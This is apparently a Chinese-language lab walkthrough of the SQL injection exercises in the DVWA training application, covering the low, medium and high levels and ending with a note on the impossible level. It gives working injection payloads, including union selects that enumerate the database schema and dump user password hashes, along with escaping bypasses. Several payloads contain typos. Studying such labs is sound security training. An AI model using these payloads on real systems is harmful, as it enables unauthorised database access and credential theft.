目录

SQL Injection手工注入

low级别

Medium级别

High级别

impossible级别分析


SQL Injection手工注入

low级别

判断注入

1.判断是否存在注入。

输入’,返回数据库报错信息,存在sql注入,且数据库类型暴露

2.判断sql注入漏洞类型(数值型方法判断

输入1 and 1=1,页面返回正常

继续输入1 and 1=2,页面返回正常无变化,并非数字型

字符型方法判断

输入1' and '1'='1,页面返回正常

继续输入1' and '1'='2,页面无返回,页面无反应,即回显异常,说明此 Sql 注入为字符型注入

推测它的查询语句是这样

query:SELECT first_name, last_name FROM users WHERE user_id = '1';

查询所有id用户

输入

1’or 1=1 #

1' or 1=1 --

1' or 'abc'='abc

对应查询语句应该是这样:

query:
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ';
SELECT first_name, last_name FROM users WHERE user_id ='1' or 'abc' ='abc';

构造永远为真的条件进行查询,列出所有ID、First name、Surname

字符型,1后面跟的 ' 闭合前面的

'

#和--用于注释掉后面的 '

1’or 1=1 #

猜解所查询的字段数

方法1:order by num

输入:1' order by 2 #

select first_name,last_name from user where user_id = '1' and order by 1 #

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

1' order by 3 #

以上,用1' order by 2 #进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个

方法2:union select 1,2,3...

使用 union select联合查询获取信息。

输入:

1' union select 1 # 1

1' union select 1,2 #

1' union select 1,2,3 # 返回与1一样

说明有两个字段

显示位字段

那么我们就可以通过这些显示位,查看数据库信息、版本、用户信息等等。。

1' union select databases(),version() #

联合查询法解释:

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,比如我们之前已经知道了主查询列数为 2,接下来

输入1' union select database(),user()#进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.

实际执行的Sql语句是 :

select first_name,last_name from users where user_id = '1' union select database(),user()#

同理,若要查询其他

1' union select version(),@@vesion_compile_os#
  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。

获取所有数据库名称

1' union select 1,schema_name from information_schema.schamata#

Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema库下的schemata表中保存着DBMS中的所有数据库名称信息

获取当前连接数据库(dvwa)中所有表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

可以看到有三个表

已知当前数据库dvwa直接查询当前表名

information_schema 是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

1' union select table_namae,table_schema from information_schema from information_schema.tables where table_schema='dvwa'#

实际执行的sql语句

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通过上图返回信息,我们可以知道以下信息:

  • dvwa 数据库有 2 个数据表
  • 表名为 guestbook 和 users

猜解数据库字段名及爆库

接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。

我们输入以下语句查询 users 表中的字段信息

1’ union select 1,group_concat(column_name) from informatioon_schema.columns where table_name='users'#

从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

直接告诉我们,这些字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#进行查询。

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/ 查询解密:

Medium级别

源码:

查看源代码

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

因为它改成下拉菜单,我们不能输入参数,所以我们可以通过Burp抓包、改包测试。

1.判断是否存在注入。

输入’,也买你返回数据库报错信息,存在sql注入,且数据库类型暴露

2.判断sql注入漏洞类型(数值型方法判断)

输入1 and 1=1,页面返回正常

继续输入1 and 1=2,页面无回显,返回异常,为数字型注入。

测试列数

输入到数字3时有了变化,所以此处的select查询语句中查询的字段有2个有2列

回显位置

接下来步骤应该和low级别一样就可以继续往下查询其他信息啦,但是如果仍然使用Low中爆表的方法,则会报错,因为 ’单引号被转义

由于对’单引号转义,所以用16进制进行绕过,dvwa的16进制为0x64767761即可(0x为16进制识别前缀)

获取关键数据

最后得到的密码是16进制数据,我们需要将其处理后使用。

1 union select user,password from users#

High级别

源码:

跟medium相比,high级别在查询语句添加了一个limit 1,希望只输出一个结果

虽然添加limit 1 ,但是我们可以将它注释掉。

剩下的方法和low级别过程大同小异了

impossible级别分析

源码:

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

DVWA-SQL Injection级别通关详解相关推荐

  1. DVWA的安装教程和通关详解

    DVWA的安装教程和通关详解 目录 一.环境搭建 1.下载和安装phpstudy 2.DVWA下载 3.DVWA安装 更改配置信息 解决爆红错误 二.Brute Force 1.LOW级别 2.Med ...

  2. 一文带你轻松搞懂事务隔离级别(图文详解)

    本文由 SnailClimb 和读者 BugSpeak 共同完成. 事务隔离级别(图文详解) 什么是事务? 事务是逻辑上的一组操作,要么都执行,要么都不执行. 事务最经典也经常被拿出来说例子就是转账了 ...

  3. java 一个大事务下的新增、修改、查询_一文带你轻松搞懂事务隔离级别(图文详解)...

    点击上方"linkoffer", 选择关注公众号高薪职位第一时间送达 本文由 SnailClimb 和读者 BugSpeak 共同完成. 事务隔离级别(图文详解) 什么是事务? 事 ...

  4. SQL注入攻防入门详解

    转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...

  5. SQL 注入攻防入门详解

    为什么80%的码农都做不了架构师?>>>    SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...

  6. 事务隔离级别(图文详解)

    事务隔离级别(图文详解) 什么是事务? 事务是逻辑上的一组操作,要么都执行,要么都不执行. 事务最经典也经常被拿出来说例子就是转账了.假如小明要给小红转账1000元,这个转账会涉及到两个关键操作就是: ...

  7. sqli-labs通关详解

    sqli-labs通关详解 Less1 Less1sqlmap运用 Less2 Less2sqlmap运用 Less3 sqlmap运用 Less4 sqlmap一把梭 Less5 sqlmap直接梭 ...

  8. SQL Server:触发器详解

    SQL Server:触发器详解 1. 概述 2. 触发器的分类 3. Inserted和Deleted表 4. 触发器的执行过程 5. 创建触发器 6. 修改触发器: 7. 删除触发器: 8. 查看 ...

  9. Linux系统7个运行级别图文详解

    Linux系统7个运行级别图文详解 当安装linux操作系统时将选择下列那一个操作 ______ A.选择 "图形登录方式" 设定系统开始运行级为4 B.选择 "文本登录 ...

最新文章

  1. treeselect 如何选中多个_word使用技巧之-如何让你工作效率翻倍提升
  2. NLP 层嵌入(embedding)层的理解 通俗易懂 转
  3. AI帮你写Python,安装只需5步,还能任你调教 | 开源
  4. 说实话,Intellij IDEA 自带的 Vim 插件真心不错!
  5. java 取绝对值_Java实现一致性哈希算法,并搭建环境测试其负载均衡特性
  6. QML编程之旅 之可视元素
  7. 【GDKOI2004】使命的召唤
  8. SpringSecurity过滤器链加载原理
  9. [NOIP2016 提高组] 愤怒的小鸟
  10. linux系统上安装toma,Linux-tar - osc_btnnkvs0的个人空间 - OSCHINA - 中文开源技术交流社区...
  11. ubuntu14.04下修改python默认版本
  12. aspose-cell 使用
  13. pat03-树3. Tree Traversals Again (25)
  14. three轨迹线在mapbox地图上显示
  15. 一次防火墙无法重启的排查过程和总结
  16. pdf安装 adobe acrobat reader DC
  17. sap 服务采购订单研究
  18. 不确定性推理——主观贝叶斯方法matlab实现
  19. mapbox-gl:创建Marker
  20. Excel.Application使用手册(API)

热门文章

  1. laravel学习1.0
  2. 交流耦合仪表放大器(AC-Coupled Instrumentation Amplifier)
  3. ce修改器我的世界服务器,如何用ce修改我的世界饥饿度 | 手游网游页游攻略大全...
  4. ARFoundation从零开始3-创建ARFoundation项目
  5. CNCC 2018 经典计算机算法技术论坛全解读 | CNCC 2018
  6. 扫码进入微信小程序使用WIFI进行UDP通信发送消息
  7. windows下创建进程,CreateProcess()详解及用法
  8. HTTP headers(HTTP头)
  9. 查看APP的MD5值
  10. 亿道信息丨12.2英寸加固平板丨三防平板丨工业平板丨货物追踪好助手